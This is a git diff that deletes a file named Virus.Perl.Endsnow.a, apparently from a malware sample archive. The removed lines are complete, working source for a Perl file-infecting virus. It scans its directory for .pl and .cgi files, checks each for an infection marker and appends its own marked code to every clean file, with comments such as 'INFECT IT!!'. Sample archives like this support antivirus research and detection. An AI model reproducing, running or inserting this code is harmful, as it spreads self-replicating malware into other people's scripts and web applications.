diff --git a/Perl/Virus.Perl.Endsnow.a b/Perl/Virus.Perl.Endsnow.a
deleted file mode 100644
index 3d1facc0..00000000
--- a/Perl/Virus.Perl.Endsnow.a
+++ /dev/null
@@ -1,31 +0,0 @@
-
-	opendir(DIR, "."); #open the directory this program is in
-	@FILES = readdir(DIR); #get the file names
-	closedir(DIR);
-	
-	## Look for programs to spread to (limited to the current directory for now)
-	for ($i = 0; $i < @FILES; $i++) {
-		if (substr($FILES[$i], length($FILES[$i]) - 4) eq ".cgi" || substr($FILES[$i], length($FILES[$i]) - 3) eq ".pl") {
-			$TARGETS[$ii] = $FILES[$i];
-			$ii++;
-		}
-	}
-	
-	for ($i = 0; $i < @TARGETS; $i++) {
-		open(FILE,$TARGETS[$i]);
-		$file = join("",<FILE>);
-		close(FILE);
-		if (index($file, "## Perl Virus Begins Now ##") == -1) { ##the file isn't infected, INFECT IT!! (append to it)
-			if ($me eq "") { #what we want to write hasn't been copied yet, this is a considerate virus, it could just keep copying itself each time and slow your computer down (and become a couple hundred bytes smaller)...
-				open(me,$0); #opens THIS program
-				$me = join("",<me>);
-				$start = index($me,"## Perl Virus Begins Now ##");
-				$me = substr($me, $start, rindex($me,"## Perl Virus Ends Now##") + 24 - $start);
-				close(me);
-			}
-			open(FILE,">>$TARGETS[$i]");
-			print FILE $me;
-			close(FILE);
-		}
-	}
-	closedir(DIR);